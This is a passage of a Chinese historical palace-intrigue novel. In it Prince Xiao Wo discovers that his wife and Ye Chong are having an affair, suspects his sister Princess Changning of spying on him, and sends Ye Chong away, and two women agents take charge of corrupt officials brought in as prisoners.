“皇——”顾鸥泄了口气,“得,你开心就好。”
萧沃躺下蜷缩起来,裹紧了狐裘,很快就睡着了。顾鸥心疼地望着他,轻轻地叹息。
马车摇摇晃晃地穿过大雪,停在了罄音楼门前。顾鸥挑开帘子的一角,两朵雪花就飘在了他手心。
文亭早就等候在此,顾鸥冲他摇摇头,萧沃好不容易睡一觉,顾鸥不想叫醒他。
车内添了两回炭,萧沃都没有醒的意思。顾鸥一边看戏本子一边等他,也不着急。
一个半时辰后,雪暂时停了。萧沃打了个喷嚏,给自己吓醒了。
顾鸥把戏本放下,打量着萧沃:“大殿下?”
萧沃懵懵的:“还没到呢?”
“早到了,见你睡着,没舍得叫你。”顾鸥朝外面抬下巴,“走了。”
他们一脚踏进罄音楼,顾鸥就感觉不对劲。
戏台,空的,座上,空的,哪哪都没人,罄音楼一年里都没这么清净过了。
“五子,这咋了?”顾鸥回头问他的跟班的,“戏楼要倒闭了,好歹知会我一声呢?”
“殿下,伯爷,这……”五子面露难色,说,“昌宁公主驾到,包场了。”
萧沃跟顾鸥对视一眼,她来干嘛?
顾鸥敲他脑袋,骂道:“糊涂!公主驾到怎么不通传一声!”
“是本宫不让他通传的。”不见萧锦其人,但先闻其声。
萧沃与顾鸥同时向楼上看去,萧锦趋步下楼,抬眸望一眼萧沃,顿时像被烫着似的撤回目光。顾鸥是个万里挑一的人精,一眼就看出萧锦眼神不对劲。他假装咳嗽,低头的时候悄悄捅了萧沃的后腰。
萧锦给萧沃行礼:“昌宁见过大哥。”
顾鸥紧接着就说:“臣给公主殿下请安。”
“不必拘礼。”萧沃往后退了一步。
萧锦明显变了神色。
萧沃抱歉地说:“不知妹妹会来,我这还没有沐浴,身上都臭了。”
“没事,”萧锦朝他笑,“臣妹今日来,就是为了看看大哥是否安好。宗正寺日子苦,大哥瘦了不少。”
萧沃却说:“瘦点好,出来就可以多吃点好的,也不用担心胖成球。劳妹妹牵挂,我很好。”
萧锦感觉有些口干,她试图跟萧沃找些共同话题:“臣妹昨日去了清秋园,嬷嬷说,前几日父皇差人取走了三弟的功课。”
皇帝之前从未关心过三皇子萧沅,甚至连见都不肯见。堂堂皇帝,居
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然吝啬到把自己的亲生儿子抛给另一个儿子去养,连萧沅居住的清秋园还是景思娴的陪嫁。沅弟四岁启蒙,如今七岁了,皇帝才刚刚想起来检查他的功课。
萧沃跟萧锦都清楚,皇帝这么做,是向萧沃示好,还想维护他们之间脆弱的父子情分。早干嘛去了?萧沃讽刺地笑了一声,阴阳怪气的话都到了嘴边,又给咽了回去。
萧沃点点头:“他心里开始有沅弟了,是好事。”
萧锦说:“或许除夕……父皇就让他回宫了。”
“不会。”萧沃斩钉截铁地说,“没人会打自己的脸。”
萧沃说的是皇帝在沅弟降生那日下的圣旨,要求三皇子萧沅永不进宫。
萧锦的脸色有些难看,她挤出一个笑,说:“大哥去沐浴吧,臣妹就不耽误大哥了。”
萧沃问:“这就走吗?”
萧锦又问:“大哥希望臣妹留下吗?”
“你都花大价钱包场了,”萧沃说,“留下吧。磬音楼的《牡丹亭》最是卖座,妹妹留下听几出戏再走。”
顾鸥闻言也说:“对啊殿下,留下吧,天色还早。磬音楼不止有《牡丹亭》,我们厨子烧的蟹粉狮子头更是一绝。殿下好生在楼上雅间听戏、休息,臣这就伺候大殿下更衣,别耽误了二位殿下的晚膳。”
他们盛情挽留,萧锦也只好恭敬不如从命。
“我这就去更衣、沐浴,妹妹稍等。”萧沃往后撤,顺便给了顾鸥一个眼神。
顾鸥迅速跟上:“臣也退了。”
萧沃快速往浴堂去,萧锦在后边目送他离开。她有些口干,便问五子:“现在这季节有没有冰酥酪?”
五子:“有的殿下。”
“上两份。”萧锦又问,“大殿下平时经常在你们这里听戏吗?”
五子答:“是。”
“他常听的是哪几本?”萧锦想了想,又问,“最喜欢哪个角儿?”
五子答:“回殿下,大殿下最喜欢《狂鼓史》和《牡丹亭》,《牡》听的最多。大殿下捧楼里的赛珠秀,连她的徒弟越钗,都成了咱磬音楼的红人。”
萧锦问:“赛珠秀?”
五子问:“您要是想听戏,小的这就让赛珠秀准备着。”
“好。”萧锦看了一眼浴堂的方向,“等大哥回来,就让角儿们上场。多备些蜂蜜杏干和普洱,大哥喜欢。”
五子笑道:“小的明白。”
“殿下对大殿下可真好。”萧锦的婢女闻芳说。
萧锦眼睛亮晶晶的,饶有兴致地说:“小时候,二哥总欺负我,我去找母后告状,母后却质问我为何不让着点他。我气得躲在御花园哭,让大哥瞧见了,非要带我去找二哥说理。大哥先跟他讲道理,讲不通的话,就找来先生来教训二哥。大哥带我看二哥挨戒尺,我心里别提多畅快了。”
闻芳还是第一次听萧锦提起小时候的事,说:“大殿下与殿下真是手足情深。”
萧锦点点头,思忖片刻,又说:“可是他对每个人都很好。小时候,景家的表弟表妹进宫,他也如照顾我那样照顾他们。”
闻芳没察觉出萧锦的失落,继续说:“大殿下可真是个疼惜手足的长兄。”
萧锦不说话了,她有些失望地错开目光,说:“听戏去。”
25. 告密
大半个时辰后,萧沃与顾鸥才来。
“怎么在这干坐着?”萧沃坐在了萧锦旁边的位置,用叉子插了一块杏干吃,抻脖子看了看楼下,问萧锦,“戏台子上连个人都没有,看什么呢?”
萧锦闻声回头,只见萧沃身上挂了一袭象牙白长袍,腰间悬着一只绿白相间的香囊,这小东西她从来没见萧沃戴过。
萧锦心想,大哥有女人了?
她注视香囊的时间有些长了,才想起要收回视线,说:“等大哥来呢。”
顾鸥转头吩咐对五子:“开场。”
“大哥的香囊好别致。”萧锦试探地问,“能不能给我看看?”
萧沃却说:“不过是个寻常的香囊。”
“但这绣工可不寻常。”萧锦侧头打量,“又细又密,可见绣这香囊的人,对大哥颇有耐心。”
萧沃抑制不住上扬的嘴角,假装不在意地说:“是么?”
萧锦似是不经意地问:“嫂嫂绣的吗?”
萧沃愣了一下,正琢磨怎么骗她呢,一抬头恰好对上她认真的眼神,又不忍心骗她了:“……不是。”
“我瞧着也不像。”萧锦站起来,走到他身前,俯身仔细看他的香囊。
萧锦离他这么近,萧沃的鼻腔里满是她身上的味道,身上立马像有蟑螂爬似的不舒服。他如临大敌,杏干在嘴里蛄蛹,都忘了咽下去。
萧锦没把香囊摘下来,萧沃也不可能把它摘下来给她。两个人就以如此尴尬的距离僵在这,给后边的顾鸥看得一愣一愣的。
“这就是普通棉线,果真不是嫂嫂做的。”萧锦的指尖拂过细密紧绷的线,说,“这绣工有种……踏实的感觉,真不敢想,要是把宫里的丝线给她,她能绣出来多么流光溢彩的东西。”
“用棉线最能显出槐花的淡雅古朴。”萧沃说,“用丝线反倒不好看了。”
“大哥真会说话。”萧锦说,“看来,大哥很中意送香囊的人。闻起来,里面装的是安神香,不过都是些常见的药材。”
萧沃又说:“这些药材虽不比太医院用的药名贵,但管用。”
“果真?”
萧沃使劲点头:“当然。”
萧锦说:“那大哥能不能把它拆开给我看看?我想知道里面装了什么药,让大哥如此赞不绝口。”
“香囊怎么能拆开?”萧沃说,“回头我帮你问问她,她不懂医术,肯定是在哪个医馆抓的药,然后把药方子给你。”
萧锦收回目光,看来萧沃心里是真的有人了。
与此同时,赛珠秀与越钗上场,唱的是上次没唱完的《惊梦》。萧沃不太痛快,问顾鸥:“怎么接着演?”
萧锦却给拦了回来:“没事的大哥,接着演也挺好的。”
“也罢,这种老戏,讲的什么都熟的很,听的就是曲儿。”萧沃便靠着软枕,闭上眼听。
萧沃就是不想给她看。萧锦没辙了,只好作罢。她回到自己的位置上,看台下的“杜丽娘”与“柳梦梅”在梦境中相遇,心里有股酸涩的感觉。
她从未听说过萧沃与谁家的贵女有联系。
印象里,大哥身边没有侍女,甚至没有从小玩到大的青梅竹马。他不光能管得住自己,眼光还高,不曾对谁动过情。成亲之后,也从未有过外室。萧锦百思不得其解,大哥身边何时多了个女人?
“大哥——”萧锦转头看萧沃,他闭着眼,也不知睡没睡着,萧锦又喊了一声,“大哥?”
萧沃不回应,又睡着了呢。也不知道是香囊里的“神药”管用,还是那人“亲手”做的香囊管用,萧沃的睡眠可比以往好了不少。这让萧锦更好奇,“她”到底是谁。
“行远哥哥,”萧锦回眸看顾鸥,朝他招了招手。
顾鸥赶紧过去,恭恭敬敬地问:“殿下有何吩咐?”
萧锦指指萧沃的腰间:“你与大哥素来交好,可知这香囊是哪位姑娘送的?”
顾鸥哪敢说啊,连忙道:“您这不是抬举我么?这种事,大殿下又怎么会跟我说?”
萧锦问:“大哥有了外室?”
“没——”顾鸥挠了挠脑袋,小声说,“没吧……”
“没——吧?”萧锦不悦地说,“什么意思?”
顾鸥心想,骗她说萧沃没外室,她肯定是不信的。何况兰见春就是被萧沃安置在府外的,吃穿用度都得靠萧沃帮衬着,这不是外室是什么?倒不如将错就错,就说是外室,萧沃知道了又能怎样?总不能杀了自己吧。
“不瞒您说啊,臣也——也怀疑……”顾鸥俯下身,在萧锦耳畔悄悄说,“是外室。”
萧锦漂亮的眼睛瞪着他。
“不过臣不知道那女子是谁。”顾鸥抻脖子看一眼萧沃,确认他没醒,鬼鬼祟祟地说,“殿下不肯说。”
萧锦点点头:“金屋藏娇?”
“金屋倒不至于。大殿下啊……”顾鸥比了个“钱”的手势,“不富裕。”
萧锦又问:“什么时候的事?”
“这……臣哪里知道?”顾鸥说,“殿下有所不知,臣虽然与大殿下走得近,但这种事,大殿下可从不跟臣说。”
萧锦小声说:“现下有个一本万利的活,昭信伯干不干?”
顾鸥问:“您不会是让臣打听那外室是谁吧?”
萧锦点头:“不光如此,本宫还要她的画像。”
顾鸥连忙拒绝:“这这这……臣可干不了。”
“三百金。”
“殿下这不是把臣往火坑里推么?”
“五百金。”
“大殿下待臣如手足兄弟,臣不能愧对大殿下,您还是断了这心思吧。”
“一千金。”
“行远定不辱使命。”
“闻芳,”萧锦解下腰间的玉佩递给她,“从本宫的私库中调一千金,今日就把钱给了磬音楼。”
顾鸥喜上眉梢:“殿下爽快。”
“去吧。”萧锦说,“本宫要听戏了。”
顾鸥美得还以为他金榜题名了,他连忙走:“臣这就退。”
“你说他会不会把你想要的给你?”
萧锦被吓一跳,回头恰好对上萧沃的眼睛。
“你俩拿我赚钱,还当着我面谋划。”萧沃一手搭在膝盖上,另一手则插杏干吃,“好歹避点人呢?”
萧锦嗤笑:“大哥什么时候醒的?”
萧沃答:“金屋藏娇。”
萧锦
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凑近了问:“大哥不如告诉我,这金屋里到底藏的哪位娇?”
“我告诉你,你这一千金不就打水漂了?”萧沃又吃了一颗杏干,“我就喜欢成人之美,公主这钱花出去了,我怎么能让你打水漂呢?兄弟要拿我挣钱,我怎么能让他空手而归呢?”
“她漂亮吗?”
“漂亮。”
“有多漂亮?”
“是上京城从未见过的好颜色。”
“当真?”
“当真。”
萧沃甚至没有一刻迟疑。
萧锦笑了很久:“那我很期待昭信伯的画像了。”
萧沃自信地说:“必然不会让你失望。”
“好啊。”萧锦小声地说,“大哥,昨日我去白云观上香,你猜我看到了什么?”
瞧她的眼神,萧沃有种不详的预感:“什么?”
萧锦朝台下瞧了瞧,说:“唱《西厢》才是应景呢。”
萧沃的笑容消失了,他揣着明白装糊涂:“你就别跟大哥打哑谜了!在宗正寺里蹲了两个月,人早就变傻了。”
萧锦望着萧沃的眼睛,轻声说:“大哥在外寻花问柳,也别忘了家里的红杏,小心伸了出墙,让别家的人摘了去。”
萧沃尴尬地傻笑:“是么?”
萧锦点头:“臣妹不会往外说的。”
萧沃还笑:“是么?”
萧锦举起手发誓:“若骗你,我不得好死。”
萧沃咬咬后槽牙:“够毒。”
萧锦不说话了,某一瞬间,她在萧沃眼里看见了杀意。
萧锦垂眸剥橘子:“大哥不回府看看吗?”
“等晚上的。”萧沃接过她剥的橘子,一口吞了两瓣,酸甜的汁水渗进唇齿间,“现在不是时候。”
—
子时,萧沃策马回府,没有通知任何人。他从后门入府,下人见他回来,都极为惊恐。他拔出血罗衣,剑锋指着她们,警告她们不要发出任何声音。
张妈妈闻声赶来,跪在萧沃前面,问:“殿下星夜回府,这是——”
萧沃眼眶通红:“王妃呢?”
张妈妈说:“王妃歇息了。”
萧沃压着火气,问:“是么?”
张妈妈问:“殿下要……留宿吗?”
“对。”萧沃挤出一个笑,“不必告诉王妃,本王不会吵醒她的。”
张妈妈马上抓住他的衣角,着急地说:“殿下!王妃,王妃已经歇息了!您别,别——”
萧沃扯过自己的衣服:“本王说了,不会吵醒她。”
张妈妈一低头,就看见萧沃明晃晃的剑。她料定萧沃知道了什么,不敢再拦萧沃,只好放手。
张妈妈跟在萧沃身后,他越靠近景思娴的房间,他的脚步就越轻。直到他停在景思娴的门前,停步。
月光洒下,映在血罗衣的剑刃上。张妈妈与景思娴其他的陪嫁丫头跪在了院内,她们个个低着头,瑟瑟发抖。
萧沃与景思娴成婚四年,今个他是头一遭回府留宿。他不该回来,怎么能这时候回来呢?
房门紧闭,萧沃把剑伸进了门缝中,慢慢地撬动门闩,慢慢地把门闩卸下,慢慢地推开了门。
26. 捉奸
萧沃推开门,看见一地的凌乱衣裳,听见黏腻而富有节奏的声音。
他直接冲向床,用刀掀开厚重的墨绿色床帏,看见红色的床单随意地卷在一起,白花花的一大片露在外面。
萧沃不堪直视,闭上了眼睛,咬牙切齿地说:
“你们真是疯了。就一刻都等不了?叶慕之,你在我的王府,我的床上,抱着我的王妃!好歹避着点人,好歹给我留点面子!”
“你们的事已经让老二的人知道了,他下一步就得用你们的事来攻击我。一定要我岷王府、靖国公府,还有你们澄阳侯府一起覆灭吗!”
“以前我还能假装看不见,我搬出去,我去罄音楼、清秋院!现在人家都告诉我了,萧荫槐,你管管你的妻,好大一顶,她给你戴了好大一顶绿帽子!”
“景思娴,你不是说,会顾及——我的面子吗?把人弄到王府里来,就是顾及我的面子?我一次次地给你机会,容忍你的错误,替你擦屁股、收拾残局,结果——”
飘落的树叶倒流,重新回到了树上。
门外,萧沃抬眸看向狭窄的门缝,黑漆漆的一线,掩藏着其中无法言说的秘事。
他收回视线,撤回刀。
他最终都没有闯进景思娴的房间。尽管想冲进去,把自己的不堪都发泄到景思娴和叶崇身上,但转念一想,这不对。
他想骂的话,刚刚已经在心里骂过了。
真闯进去,就算是把景思娴的心伤透了。他不忍心伤害她,没人希望跟自己喜欢的人偷偷摸摸在一起,景思娴与叶崇能有今天,全是自己害的。
何必让彼此都难堪呢?
萧沃又回到了院中。他把剑放在了庭中的石桌上,坐在旁边等着。
“张妈妈,”萧沃望着远处的青石砖,小声说,“给我一壶酒。”
“是,殿下。”张妈妈给左右使眼色,赶紧退了出去。
萧沃抬眼看向屋檐,太阳穴的血管崩了出来。
他头疼得快炸了。
张妈妈端来酒,战战兢兢地说:“殿下,要不要奴婢……”
萧沃连闷了四杯酒。
张妈妈怕道:“殿下息怒。”
“管好你的人。”萧沃站起来,俯视张妈妈,“家里有内贼。”
萧沃站起来朝房门走去,他抬起手,想要敲门,却听见了黏腻又有节奏的声音。
他手撑着门,无奈地低笑。
他在门边站了很久,是的,他在等这人家停,但对方没有停的意思。
大概过了半个多时辰,那声音才停,里面才彻底休战,只剩下餍足的喘气声。萧沃站得腿僵得很,酸得很疼。
萧沃声音很轻:“把衣服穿好。”
屋内霎时变得鸦雀无声,过了很久,景思娴拉开了门。
景思娴舌头都绞在了一起,结结巴巴地说:“表、表哥……”
萧沃板着脸,绕过景思娴进入房间。他把门关好,看向床,没人。
“表哥怎么来了?”
萧沃向床走去,拿起一根黑色的衣带。景思娴穿的是藕粉色的衣衫,黑色的玩意,明显是个男人的东西。
“表哥要来,怎么都不通知我一声?”
突然,他听见有人咽唾沫。
萧沃猛地抬头,与房梁上的人四目相对。他攥着衣带,指着“梁上君子”的鼻子:“下来。”
景思娴朝房梁上看去,无奈的眨巴眨巴眼。
“咚!”地一声,叶崇跳了下来,正好落在萧沃面前。
“殿、殿下……”叶崇尴尬地说,“您怎么来了?”
萧沃不爱看光膀子的男人,他僵硬地看向窗外,清了清嗓子,问:“你们昨日在白云观做了什么?”
景思娴与叶崇对视一眼,景思娴说:“祈福……”
萧沃说:“我关心的不是这个。”
“我是去那里还愿,之前,我为表哥求了平安。而且我与慕之许久未见,也很想再见他一面……王府的马车停在正门,而澄阳侯府的马车停在了后门。我与慕之分别从前后入观,直到离开,都没有说过话。”
萧沃问:“确定没有?”
景思娴的声音越来越小:“我不敢拿靖国公府开玩笑……”
萧沃点点头:“好,我明白。”
“表哥,今天为什么突然……”
萧沃这才正眼看景思娴:“你再仔细想想,自你我二人成婚以来,你与叶崇,是否在外人面前显露过蛛丝马迹?”
叶崇不情不愿地反问:“你审犯人呢?”
“慕之!”景思娴瞪了他一眼,“你把表哥想成什么人了?”
“这是我的岷王府,叶崇,如今本王还能好声好气地跟你说话,只是想给王妃一个体面。”
景思娴恨不得找个地缝钻进去。
萧沃说:“做错事的一直都是你们,当然,我也错的很离谱。”
景思娴问:“表哥,到底发生了什么?”
萧沃揉一把脸:“你确定你们没在岷王府之外的地方见面吗?”
叶崇说:“千真万确!”
萧沃:“本王问王妃!你插什么嘴?”
“不问你的时候,你不要说话。”景思娴紧张得抓自己手指,说,“确实没有。表哥,我不敢。就算是在白云观,我们也不敢一起拜同一尊神。”
萧沃点头。
景思娴问:“表哥,究竟发生了什么?”
萧沃说:“昌宁公主发现了你们的事,并向我告发了你。”
景思娴愣了好久:“她怎么知道?”
萧沃:“那日你在白云观遇见了公主吗?”
景思娴一直摇头:“没有,那个时辰白云观人很少,公主没来。”
萧沃点头:“我相信你。”
叶崇起身:“我这就去杀了她。”
“回去。”萧沃指着他,“你不要发疯。”
景思娴问:“难道是我离开的时候,公主恰好进观吗?可我在正门,没有看见公主车驾。”
叶崇补了一句:“后门也没有。”
萧沃仔细回想,说:“那日我被父皇杖责,老二想趁机杀我,她第一时间赶到,拦住了老二,救了我一命。”
景思娴眼珠转了一圈:“她消息太灵通了。从长春宫到金銮殿,就是坐轿撵,也得要两刻钟。从陛下下旨到行刑,以宫中太监的脚程,她没法在杖责结束前到达。”
萧沃说:“那日她根本就没乘轿子。”
景思娴说:“那更不对劲了。”
叶崇说:“如果她早就等在金銮殿呢?”
萧沃:“也就是说,我与父皇针锋相对时,长春宫也收到了消息,所以才会反应这么快。”
景思娴点头:“前朝有陈皇后的眼线,反应快,倒也说得通。”
萧沃:“但她知道你们二人在白云观相遇。按照你说的,你们只是同时出现在了白云观,但并没有直接交流。那即便被人看见,也只会以为你们是凑巧出现在那的。那她为什么说,你——红杏出墙?”
叶崇说:“难道她早就知道我俩的事?”
萧沃:“我没问你。”
景思娴肃声说:“昌宁知道的有点太多了。”
萧沃一语道破:“她在监视你我。”
景思娴顿时感觉身前身后有七八双眼睛盯着她似的,她抬起手,捂住了后脖颈,恰好遮住了吻//痕。
“我出狱后,临时起意去磬音楼。”萧沃说,“但她却能在我到达磬音楼时,也出现在那,还包了场。啊……她一直盯着我。”
景思娴说:“你身边有她的人,不……府里,我身边也有她的人!怎么办啊表哥?”
萧沃:“她为什么监视我?”
景思娴说:“绝对跟屹王有关。”
萧沃摇头:“她跟老二关系很差,老二要杀我时,她拦住了他。其实那是杀我的最佳时机,若他们是一伙的,绝对不会放了我。”
景思娴说:“那我就不明白了。”
萧沃担忧道:“我也不明白,我很害怕。我身边有老二的人,也有她的人。”
景思娴说:“那怎么办?”
萧沃:“你们最近都不要见面了,各自安分守己。”
景思娴点头。
“这不是个办法,”叶崇说,“殿下,昌宁就是个坑,不知何时她就能把我们都陷进去。一旦她告发我们,我们都得完蛋,不能留她的命!”
“昌宁那边我会处理。”萧沃垂眸看着他们俩,“现在最要紧的是,老二跟陈后知不知道你们的事。如果他们也知道,那就完了。”
景思娴哭道:“表哥我错了……”
萧沃伸出手,擦去了景思娴的眼泪。
“不哭。”
“是我对不起你。”
四年前,萧沃如是对景思娴说。
他们穿着大红的喜服,像是染了一身血。喜烛高燃,蜡油像景思娴的血泪一颗颗地往下掉。她和萧沃都望着红彤彤的王府,他们从未像现在一样尴尬、憎
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恨彼此。
景思娴是他的亲人,而非爱人。
彼时靖国公在辽北又打了一场胜仗,皇帝对景皑赏无可赏,只好赏了他一桩婚事——岷王萧沃娶靖国公长女景思娴为妻。
而景思娴与澄阳侯长子叶崇自幼便有婚约,皇帝赐婚之时,景家都收了叶家的聘礼,就差大婚了。皇帝横插一脚,硬生生拆散了一对良缘。
萧沃非常清楚,这桩婚事是皇帝对景皑的赏赐,是对自己的惩罚,是对整个景家的恶毒诅咒。
景皑战功赫赫,景后先后产下萧沃、萧泠、萧沅三兄妹,景家风光无限——必然惹皇帝忌惮。
皇帝用这桩不合时宜的婚事,把景家推到了风口浪尖,他会等景家从巅峰坠落。
“我对你只有兄妹之情,并无男女之意。”萧沃望着地面说,“现在没有,以后更不会有。”
景思娴擦干净眼泪,坚定地说:“我也是。”
萧沃心里松了口气:“但你也不能与叶崇再有来往。”
“为什么?”景思娴站起来,盯着他,“既然我们都不喜欢彼此,难道还要在一起过一辈子?表哥,你知道我与慕之——我……割舍不掉!”
“如果你和他再有来往,迟早会被父皇知道的。”萧沃说,“一旦东窗事发,倒霉的必然是整个景家。思娴,不要拿所有人的命开玩笑。”
景思娴拔下血罗衣递给他:“你倒不如杀了我。”
萧沃抬眸望着她:“我不会杀你。”
景思娴把剑柄塞到了他手中,拉着他的手,把剑刃架在自己颈侧:“如果这一辈子,我们都要这么痛苦地过去,哥,你还不如杀了我。就算明日皇帝怪罪,你也可以说,我是自尽。”
萧沃心疼地问:“你疯了?”
“哥,我清醒得很。”景思娴死死抓着他的手,她手背青筋暴起,哽咽道,“我厌恶的不是哥,而是强行把我们放在一起的人。”
萧沃想挣开她,可她的力气太大了。
景思娴:“他都没拿我们当人看!我们就像牲口一样,任他宰割!”
“娴妹……”
“人得像人一样活着。”景思娴的泪滑到了剑锋上,“哥有哥的考量,可我也有自己想过的生活。如果不能,我宁可去死。”
相同的话萧沃也对皇帝说话,但他给景思娴的回答却是:“不要死。”
景思娴不肯听,拉扯着剑就要抹自己的脖子,吓得萧沃一把推开景思娴,把剑扔了出去。
她踉踉跄跄地后退几步,萧沃心疼地将她抱进了怀里。
“我不想让你死,我想让我们一家人都好好的。”萧沃不停地安抚她,“如果……”
萧沃闭上了眼睛,停了很久才说:“如果你真的割舍不下他,那你就去找他吧,我不会干涉。我会想办法和离,来日我一定会放你自由。”
景思娴哭道:“你骗我。”
“我什么时候骗过你?”萧沃说,“相信我。”
如今他们的事让昌宁公主知道了,这件事随时会成为景家的催命符。景思娴一直掉眼泪,三个人都不说话。
叶崇感觉如芒在背,又问萧沃:“殿下,有什么办法吗?”
萧沃云淡风轻地说:“你去成亲吧。”
叶崇质问他:“还要再扯一个无辜的人进来吗?”
“如果东窗事发,就要叶、景两家人为你们兜底。”萧沃背过身去,“在二位心中,孰轻孰重?”
叶崇说:“我选不了。”
“那本王替你选。”萧沃说,“如果你又不想成亲又不想把全家人都扯进来,那你就远行。”
叶崇问:“我能去哪?”
萧沃说:“潼裕。”
“你不能把他扯进来。”景思娴抓住萧沃的手,“你不能。”
萧沃:“澄阳侯身为禁军统领,皇储之争本就无法置身事外。我今日能放过你们,明日萧回会放过你们吗?”
叶崇二丈和尚摸不到头脑:“你们在说什么?”
“你应该也知道,因潼裕贪腐一事,本王与萧回算是彻底撕破脸了。”萧沃说,“本王需要一个知根知底的人去潼裕,查出他在那到底藏了什么秘密。”
叶崇问:“你选的人,是我?”
“你正好借此机会离开京城,暂避风头。”萧沃准备离开,“为我所用,对彼此而言,算是最优解了。”
景思娴还想拦叶崇,但他都没犹豫,斩钉截铁道:“我去。”
萧沃瞥了他一眼:“别让我失望。”
27. 接人
由萧回抓上来的潼裕贪官今日抵达京城,皇帝特命晦朔司接应、审问。乔竹心让吴泪处理共计十二个犯人,今夜虞水、兰见春一同去永定门外接人。
萧回在潼裕查贪那叫一个轰轰烈烈,动不动就亲自带人抄家,缴出来一箱箱的金银财宝。萧回把缴上来的赃款记账之后,还自掏腰包,为潼裕流民设粥棚、买棉衣,据潼裕线报说,当地百姓都对他赞不绝口。
虞水整个人都藏进貂裘里,她眯着眼瞪着犯人来的方向,小声问兰见春:“有多余帕子吗?”
兰见春把自己的给她了。
“回头我还你一个新的,”虞水接过来擤鼻涕,打了个寒战,她回头看兰见春,帮她把衣领往上提,“就这一层披风,冷不冷?”
兰见春脸通红,鼻子里呼出来都化成了白气,说:“不冷。”
“脸冻得跟红苹果似的。”虞水用手背蹭她的脸颊,问,“你家乡冷,还是上京冷?”
兰见春老老实实地说:“那边冷。”
“也对,西北苦寒,”虞水又问,“怪不得你那么抗冻。”
兰见春说:“我没事。”
虞水说:“还是要多穿点。刚进晦朔司例银就是很少,你要是手头紧,可以跟我说。起码要吃饱穿暖呢。”
兰见春点点头:“谢谢千户,但没关系,我能应付过来。”
“见你第一面的时候我就喜欢你,踏踏实实,一看就是可靠的人。”虞水开始跟她唠家常,“你身手这么好,以前是干什么的?”
“猎户。”兰见春望着远处黑漆漆的枫树林,说,“成亲之前,我一直跟爹打猎。成亲之后,我就帮我丈夫打点私塾,顺便教学生们习武,偶尔进山打猎。”
虞水有些惊讶:“你成过亲?”
兰见春点头。
“晦朔司的女人很少有成亲的。”虞水问,“你整日这么忙,你家男人能乐意?”
“我男人死了。”
虞水尴尬地说:“对不起,我……我真不知道。都怪我这张破嘴,啊……我要是知道你男人没了,我肯定不会这么问。”
兰见春满脸苦涩:“没事。”
虞水顿了顿,问:“你是潼裕人,你们那日子过得好吗?”
兰见春实话实说:“不好。”
虞水又问:“总挨饿吗?”
兰见春:“旱涝不定,麦子总长不好。”
虞水感觉有些苦,说:“朱门酒肉臭,路有冻死骨,潼裕的官贪成那样,用脚指头都能想到老百姓过得是什么日子。”
兰见春眼睛有些酸胀:“习惯了。”
虞水:“现在你出来了,以后就都是好日子了。”
“嗯。”
“在你们那,女人读书很难吧?”
兰见春说:“是。很少有人家能供得起女娃娃读书。”
虞水看着她:“那为什么你可以?想必家里也没多少钱财供得起你读书吧?”
兰见春顿时紧张起来:“……我男人是秀才,我跟着他读了不少书。”
虞水眯起眼睛,说:“一个秀才的妻子,居然能通过晦朔司文试……真不可思议。那他这么多年只考中个秀才,真是委屈他了。”
兰见春:“他是我们县唯一一个秀才,读过很多书,教书也很好。我……确实学到了很多。”
虞水嗤笑:“是么?”
兰见春不敢再看她的眼睛,说:“是。”
虞水:“你老师必定另有其人。”
兰见春起了一身鸡皮疙瘩,虞水和颜悦色地,快把她的底儿掏出来了。
“你紧张什么?”虞水开玩笑似地问,“你怕我知道点不该知道的?”
兰见春不敢点头,更不敢摇头。
“晦朔司没有秘密。”虞水替她擦擦额头的汗,“在你进晦朔司,喝下那杯酒的时候,说明你身上就已经没了秘密。谁派你来的,你的过去,你的目的,陛下、司丞都知道得一清二楚。”
兰见春战战兢兢地问:“是吗?”
虞水郑重其事地点头:“是呀。”
兰见春又垂下了头。
虞水拍拍她肩膀:“你怕什么?至少关于你,我知道多少就都告诉你了。甲处是同知的心腹,我不希望混进来一个细作。”
“我不是……”
虞水说:“我当然知道你不是。因为你是潼裕人,至少不会在这个案子上胳膊肘往外拐,对吧?”
兰见春点头:“对。”
远处传来一阵铃声,虞水提了一口气:“来了。”
虞水离很远就向领队的男人拱手行礼:“萧将军——”
这位便是萧回的头号副将、萧成功,他受二殿下之命押送潼裕贪官回京,他见虞水便立刻下马,给她行了个军礼。
虞水从袖中翻出晦朔司令牌:“犯人交接,将军给行个方便。”
兰见春随虞水上前,余光打量着萧成功:个头很高,往那一站像一堵墙;黑溜溜亮晶晶的眼睛像猎狗一样;一直抿嘴,像是守着什么秘密。
萧成功从怀中取出一个本子:“名册在此。”
这声音——
似曾相识?
兰见春抬头端详萧成功,恰好他也在端详自己。两个人对视的时候,她闻见了一股死人味。
——绝对在哪见过萧成功。
虞水把名册给她:“去点名。”
“是。”兰见春接过东西,绕过萧成功,朝那些犯人走去。
突然,萧成功拦住了她的去路。
萧成功:“从未见过你。”
“这是晦朔司的新人,将军肯定没见过。”虞水补了一句,“晦朔司年年进新人。”
萧成功盯着兰见春,沉默。他那双眼睛真能把人看透似的,兰见春那不合时宜的手足无措,全被他看在眼里。
兰见春死死瞪着地面,不敢与他有眼神交流。
虞水吩咐说:“还不快去点名?”
这回萧成功没再拦人,兰见春赶紧跑到后面去了。
她都不敢回头看,扶着囚车暗暗倒气儿。
“他吓人吧?”囚车里的老头跟她搭话。
兰见春看一眼名册,车里的正是原来的丘州知府章玉良。她把灯提起来照他的脸,看了好半天才认出来,这就是之前闹水灾的时候大吃大喝的“章大人”。
上一次见面她还藏在街边小楼里偷偷观察他,没想到第二次见面他就变成了阶下囚。
头
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发乱糟得像刚油炸过似的,黏黏糊糊得还挂着屎//黄//色的脏东西。脸黑得发亮,晒得爆皮,浑身臭烘烘的,跟刚从马粪堆里刨出来的一样。
活该,兰见春心说。
“章玉良。”
老头大声喊道:“在!”
“小娘子,听你口音,像是潼裕人呢。”章玉良饶有兴致地打量她。
“不是。”兰见春转向下一个,是并州的官,她不认识。
“你是也无所谓,我又不会逼你放了我,怕什么?”
兰见春不想理他。
“小娘子长得真俊俏,哎呦这屁股可真大,圆了鼓秋,一看就是生儿子的料!”
砰的一声,章玉良的囚车让人踢了一脚。那力气大的很,撞得他头昏眼花。
“哎呦呦!”章玉良蜷缩在角落里,假装很害怕,“你们晦朔司的女人都是母大虫!这以后可怎么嫁男人么!”
虞水指着章玉良的鼻子,又踢了囚车一脚。
兰见春赶紧跑过去劝她:“跟这种人置气,不值当的。”
“别管我。”虞水对萧成功说,“把钥匙给我。”
萧成功:“没点完名,钥匙不能给你。”
“那你来,把他的门打开。”虞水见萧成功不动地界,抬高了声音,“快些!”
萧成功不情不愿地帮她开了门。
